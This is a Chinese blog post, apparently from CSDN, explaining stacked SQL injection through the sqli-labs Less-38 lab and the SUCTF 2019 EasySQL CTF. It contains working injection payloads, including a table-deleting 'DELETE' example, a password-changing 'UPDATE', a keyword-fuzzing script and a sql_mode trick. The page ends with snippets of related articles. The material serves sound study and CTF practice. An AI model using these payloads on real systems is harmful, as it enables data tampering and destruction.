代码编织梦想

一、堆叠注入的原理

1、介绍
在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。试想一下我们在 ; 结束一个 sql
语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 union
injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union
或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是
任意的语句。
例如下面这个例子:

用户输入:
1; DELETE FROM products
服务器端生成的 sql 语句为:(因未对输入的参数进行过滤)
Select * from products where productid=1;DELETE FROM products

当执行完查询后,第一条显示查询的结果,第二条则将整个表都删除;

2、堆叠注入的局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎
不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
当然,通常在web页面,可能只返回一个结果。
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服
务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是:

  1. 目标存在sql注入漏洞
  2. 目标未对";"号进行过滤
  3. 目标中间层查询数据库信息时可同时执行多条sql语句

二、实例1:sqllibs Less-38

传入单引号报错,发现错误回显分析后构造单引号闭合发现字符型注入

?id=1' and '1'='1
 ?id=1' and '1'='2

在这里插入图片描述
在这里插入图片描述
经过测试存在union联合注入,使用联合注入爆破出users表中有id、username、password三个 字段.
于是尝试堆叠注入将id为1的用户密码改成123,可以配合联合查询来判断sql是否执行。

http://127.0.0.1/sqli-labs-master/Less-38/?id=-1%27%20union%20select%201,2,3;update%20users%20set%20password=123%20where%20id=1--+

再次查询时发现:
在这里插入图片描述
已经更改,我们打开php源代码看一下是什么:

if (mysqli_multi_query($con1, $sql))
{
    
    
    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
            echo '<font size = "5" color= "#00FF00">';	
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }

可以看到有这个函数:mysqli_multi_query;

三、实例二:[SUCTF 2019]EasySQL

在这里插入图片描述
首先尝试堆叠注入,1;show tables;#
在这里插入图片描述
确实存在堆叠注入;后面尝试爆信息的过程中发现很多的命令都被禁掉,我们fuzz测试一下都过滤了哪些命令;

import requests

url = "http://c1a6af2c-8a7d-42e5-847a-375d6ad7f186.node4.buuoj.cn:81/"
with open('sqlfuzz.txt') as f:
    for line in f:
        data = {"query": line}
        r = requests.post(url, data=data)
        if ('Nonono' in r.text):
            print(line.strip(), end=" ")

运行后发现被禁掉了很多,这就有点超出我的能力范围了,参考大佬的wp了:

handler like LiKe sleep SLEEp delete or oR insert insERT INSERT INFORMATION xor AND ANd union UNIon 
UNION " & && oorr anandd IF sleep LIKE infromation_schema OR ORDER ORD 
UNION UPDATE CREATE DELETE DROP floor rand() information_schema.tables 
ORD extractvalue order ORDER OUTFILE updatexml format ord UPDATE WHERE from 

猜测后台的语句是这样的:

select $_GET['query'] || flag from Flag

||的特点是如果前面为真,后面就不会执行,那么我们传入*,1之后语句就会变成select *,1 from Flag,而1会在表添加一列1,所以得到flag

本地测试确实如此,因为1为真,所以就不会看2,所以最后一列是1,真的成功拿到flag:
在这里插入图片描述
第二种方法是操作符重置法

set sql_mode=PIPES_AS_CONCAT;

– 将||视为字符串的连接操作符而非或运算符
所以payload为

1;set sql_mode=PIPES_AS_CONCAT;select 1;

均可得到flag

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/nobugnomoney/article/details/124863497

sql注入————sqlmap自动化注入-爱代码爱编程

一、sqlmap介绍 1.1 sqlmap支持的5中注入类型 1.2 sqlmap目录介绍 1.3 sqlmap常用参数 sqlmap是一款免费开源的sql自动化注入工具 官网下载地址:http://sqlmap.org/ 1.1 sqlmap支持的5中注入类型 1.布尔盲注检测 2.时间盲注检测 3.错误注入检测 4.union注入检测 5.堆

SQL注入——堆叠注入入门题:领取 iPad Pro-爱代码爱编程

堆叠注入:领取 iPad Pro   初学Web安全方面内容,做了一道由学长出的SQL注入题,难度不大,适合新手了解堆叠注入。这里简单介绍一下过程。   题目如下:   首先,可以在输入框内输入数据测试是否存在注入点。这里我们利用输入1’ and 1=2 #来判断是否存在注入点。   不过,输入的过程中会遇到无法继续输入的问题,这个是由于网页的源

SQL注入(堆叠注入)——强网杯2019随便注-爱代码爱编程

感谢BUUCTF平台提供题目 0x00 堆叠注入原理 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执

WEB渗透学习笔记4——堆叠注入和二次注入-爱代码爱编程

堆叠查询注入攻击 Stackedinjections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection 在SQL中,分号(;)是用来表示一条sq

SQL注入之堆叠注入(sql-lab第38关)-爱代码爱编程

什么是堆叠注入 在SQL中,分号(;)是用来表示一条SQL语句结束的。试想一下我们在分号结束一个SQL语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而堆叠注入可以执行的是任意语句(增删改查)。 例如以下这个例子: 用户输入:1; delete from products服务器端生成的SQL语句为:select * from

sqli-labs通关攻略教程——堆叠注入+排序注入(less38~less65)-爱代码爱编程

文章目录 less 38方法1——报错注入联合注入堆叠注入less 39less 40联合注入堆叠注入less 41less 42报错注入堆叠注入less 43less 44less 45less 46报错注入时间盲注less 47less 48less 49less 50堆叠注入报错注入less 51less 52less 53less 54le

Web安全原理剖析(六)——堆叠查询注入攻击-爱代码爱编程

目录 2.3 堆叠查询注入攻击2.4 堆叠准入代码分析 2.3 堆叠查询注入攻击   堆叠查询注入攻击的测试地址:http://127.0.0.1/sqli/duidie.php?id=1。   堆叠查询可以执行多条语句,多语句之间以分好隔开。堆叠查询注入就是利用这个特点,在第二个SQL语句中构造自己要执行的语句。首先访问id=1’,

[SUCTF 2019]EasySQL ——堆叠注入+sql_mode-爱代码爱编程

                       [SUCTF 2019]EasySQL 前言        个人观点,若有误请指教 预备知识 当 sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数 当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置)

SQL注入——学生选课系统注入-爱代码爱编程

​​​​​​ 目录 前言 一、实验环境 二、实验步骤 1.万能密码 2.堆叠注入         3.报错注入         4.时间盲注 前言 本次实验利用教师指定的学生选课管理系统进行SQL注入,包含万能密码登录、堆叠注入、报错注入和时间盲注。 一、实验环境 Windows10虚拟机、SQ

CTF——sql注入之堆叠注入整理-爱代码爱编程

堆叠注入 介绍 MySQL可以执行多条语句,多条语句之前用;做分隔。 简单的说,由于分号;为MYSQL语句的结束符。若在支持多语句执行的情况下,可利用此方法 执行其他恶意语句,如RENAME、DROP等,堆叠注入可以用于执行任何SQL语句 注意,通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返 回前端页面。建议使用union联

sqlsugarclient基本用法_sqlsugarclient 使用-爱代码爱编程

1.项目引入 SqlSugar.dll 2.定义连接类 public class DbContext { public static string ConnectionString = ConfigurationManager.AppSettings["sqlconn"]; public static S